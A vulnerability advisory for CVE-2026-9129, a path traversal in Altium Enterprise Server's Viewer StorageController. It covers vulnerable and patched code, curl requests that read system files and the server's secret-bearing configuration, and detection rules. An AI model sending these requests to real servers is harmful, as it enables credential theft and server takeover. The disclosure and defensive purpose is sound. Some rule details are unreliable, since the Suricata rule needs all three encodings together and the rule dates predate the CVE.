CVE-2026-9129

Executive Summary

CVE-2026-9129 is a critical path traversal vulnerability in the Altium Enterprise Server Viewer StorageController component. On on-premise deployments using local filesystem storage, an authenticated user can exploit improper handling of file path route parameters to read arbitrary files from the server filesystem. By supplying a URL-encoded absolute path (e.g., an encoded drive letter), the attacker bypasses the configured storage root, gaining access to sensitive files including the server’s master configuration. This configuration stores database credentials, signing key locations, certificate passwords, and OAuth secrets, leading to full compromise of the server and its data. Cloud deployments are not affected as they use object storage and do not enable this component.

Supply Chain & Package Security

This vulnerability is specific to Altium’s proprietary Enterprise Server software. It is not an open-source package (NPM, PyPI, Go, Ruby) and does not involve a public package registry. The risk is limited to organizations running on-premise Altium Enterprise Server instances with local filesystem storage.

CVSS Breakdown & Threat Level

CVSS Score: 9.9 (Critical)
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – The vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low – No special conditions or race conditions required.
• Privileges Required (PR): Low – A regular authenticated user account is sufficient.
• User Interaction (UI): None – No user action needed beyond the attacker’s own actions.
• Scope (S): Unchanged – The vulnerable component and the affected resource are in the same security authority.
• Confidentiality (C): High – Full read access to server secrets and configuration.
• Integrity (I): High – Disclosure of signing keys and credentials can lead to data tampering.
• Availability (A): High – Full compromise can lead to denial of service or destruction of data.

Threat Level: Critical. Exploitation leads to complete server takeover.

Deep Dive & Mechanics

The vulnerability resides in the StorageController endpoint of the Altium Enterprise Server Viewer. The endpoint is designed to serve files from a configured storage root directory. However, the route parameter handling does not properly sanitize or validate file paths. When a user supplies a URL-encoded absolute path (e.g., %2F%2F%2Fetc%2Fpasswd or C%3A%5CWindows%5Cwin.ini), the server fails to enforce the storage root boundary. Instead, it processes the absolute path directly, allowing traversal outside the intended directory.

Key technical details:

• The vulnerable endpoint is part of the Viewer API, typically accessed via /Viewer/StorageController/....
• The path parameter is URL-decoded before use, but no check is performed to ensure the resulting path is within the allowed storage root.
• On Windows, an encoded drive letter (e.g., C%3A) bypasses the root restriction.
• On Linux, absolute paths starting with / (encoded as %2F) are accepted.
• The attacker must be authenticated with a valid user account (regular user privileges).

Impact chain:

1. Read /etc/altium/server.conf (or equivalent) to extract database credentials, signing key paths, certificate passwords, and OAuth secrets.
2. Use database credentials to access the Altium database, exfiltrate or modify design data.
3. Use signing keys to sign malicious firmware or software updates.
4. Use OAuth secrets to pivot to connected services (e.g., cloud integrations).

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual C#/ASP.NET):

[HttpGet("{*path}")]
public IActionResult GetFile(string path)
{
    // Vulnerable: path is URL-decoded and used directly
    string decodedPath = Uri.UnescapeDataString(path);
    string fullPath = Path.Combine(storageRoot, decodedPath);
    // No check if fullPath is within storageRoot
    if (System.IO.File.Exists(fullPath))
    {
        return PhysicalFile(fullPath, "application/octet-stream");
    }
    return NotFound();
}

Patched Code (Conceptual):

[HttpGet("{*path}")]
public IActionResult GetFile(string path)
{
    string decodedPath = Uri.UnescapeDataString(path);
    // Normalize and validate path
    string fullPath = Path.GetFullPath(Path.Combine(storageRoot, decodedPath));
    if (!fullPath.StartsWith(Path.GetFullPath(storageRoot), StringComparison.OrdinalIgnoreCase))
    {
        return Forbid(); // Path traversal detected
    }
    if (System.IO.File.Exists(fullPath))
    {
        return PhysicalFile(fullPath, "application/octet-stream");
    }
    return NotFound();
}

Key differences:

• The patched version uses Path.GetFullPath to resolve any .. or symbolic links.
• It then checks that the resolved path starts with the storage root directory.
• This prevents absolute paths and traversal sequences from escaping the root.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Valid user credentials for the Altium Enterprise Server (any role).
• Network access to the server (e.g., https://altium-server.example.com).
• The server must be on-premise with local filesystem storage.

Exploitation Steps:

1. Identify the vulnerable endpoint:

   curl -k -u "username:password" "https://altium-server.example.com/Viewer/StorageController/GetFile/test.txt"
   

   If the server returns a file or error, the endpoint is active.

2. Craft a path traversal request:

   • On Linux:

     curl -k -u "username:password" "https://altium-server.example.com/Viewer/StorageController/GetFile/%2Fetc%2Fpasswd"
     

   • On Windows:

     curl -k -u "username:password" "https://altium-server.example.com/Viewer/StorageController/GetFile/C%3A%5CWindows%5Cwin.ini"
     

3. Extract the master configuration:

   • Common location: /etc/altium/server.conf (Linux) or C:\ProgramData\Altium\EnterpriseServer\server.conf (Windows).

   curl -k -u "username:password" "https://altium-server.example.com/Viewer/StorageController/GetFile/%2Fetc%2Faltium%2Fserver.conf" -o server.conf
   

4. Parse the configuration to extract credentials and secrets.

5. Pivot using extracted credentials (e.g., connect to the database, sign malicious updates).

Lab Setup:

• Deploy Altium Enterprise Server (on-premise) in a VM.
• Create a regular user account.
• Ensure local filesystem storage is configured (default).
• Use Burp Suite or curl to test path traversal payloads.

Blue Team

Detection:

• Monitor for requests to /Viewer/StorageController/GetFile/ with URL-encoded absolute paths (e.g., %2F, %3A, %5C).
• Alert on any request that includes .. or absolute path patterns in the StorageController endpoint.
• Check for unusual file reads (e.g., /etc/passwd, server.conf, web.config).

Hunting:

• Search web server logs for StorageController/GetFile with parameters containing %2F, %3A, or %5C.
• Look for repeated attempts to read configuration files.
• Correlate with authentication logs to identify the user account.

Containment:

• Immediately revoke the compromised user account.
• Rotate all secrets stored in the server configuration (database passwords, signing keys, OAuth tokens).
• Apply the vendor patch or implement a WAF rule to block path traversal patterns.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /Viewer/StorageController/GetFile/ with URL-encoded absolute paths.
• Requests containing %2Fetc%2F, %2Fvar%2F, C%3A%5C, %5C%5C%5C.
• Unusual outbound connections from the server (e.g., to attacker C2 after credential theft).

File System IOCs:

• Unauthorized access to /etc/altium/server.conf, C:\ProgramData\Altium\EnterpriseServer\server.conf, or similar.
• Creation of unexpected files in the storage root (e.g., exfiltrated data).

Log IOCs:

• Web server logs showing 200 responses for StorageController/GetFile with suspicious paths.
• Authentication logs showing the same user making multiple requests to different absolute paths.

Detection Engineering

YARA Rule

rule CVE_2026_9129_PathTraversal {
    meta:
        description = "Detects path traversal attempts against Altium Enterprise Server Viewer StorageController"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2026-9129"
    strings:
        $storage_controller = "/Viewer/StorageController/GetFile/" nocase
        $encoded_slash = "%2F" nocase
        $encoded_backslash = "%5C" nocase
        $encoded_colon = "%3A" nocase
        $absolute_linux = "/etc/" nocase
        $absolute_windows = "C:" nocase
    condition:
        $storage_controller and (
            $encoded_slash or $encoded_backslash or $encoded_colon or
            $absolute_linux or $absolute_windows
        )
}

Sigma Rule

title: CVE-2026-9129 Path Traversal in Altium Enterprise Server
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects path traversal attempts against the Altium Enterprise Server Viewer StorageController
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-uri-query|contains:
            - "/Viewer/StorageController/GetFile/"
            - "%2F"
            - "%5C"
            - "%3A"
    condition: selection
falsepositives:
    - Legitimate use of encoded characters in filenames (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-9129 Altium Enterprise Server Path Traversal"; flow:to_server,established; content:"/Viewer/StorageController/GetFile/"; http_uri; content:"%2F"; http_uri; distance:0; content:"%5C"; http_uri; distance:0; content:"%3A"; http_uri; distance:0; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Apply Vendor Patch: Contact Altium support for a security update. If unavailable, implement the following mitigations.
2. WAF Rule: Deploy a Web Application Firewall rule to block requests containing %2F, %5C, %3A, or .. in the StorageController endpoint.
3. Restrict Access: Limit access to the Viewer API to trusted IP ranges or VPN users.
4. Audit User Accounts: Review and disable any unnecessary user accounts.

Long-Term Fixes:

• Migrate to cloud deployment (not affected) or use object storage instead of local filesystem.
• Implement strict input validation and path normalization on the server side.
• Use a chroot jail or containerization to isolate the storage root.
• Regularly rotate secrets stored in the server configuration.

Detection:

• Enable detailed logging for the StorageController endpoint.
• Monitor for anomalous file reads using the provided YARA/Sigma/Suricata rules.

Valters IT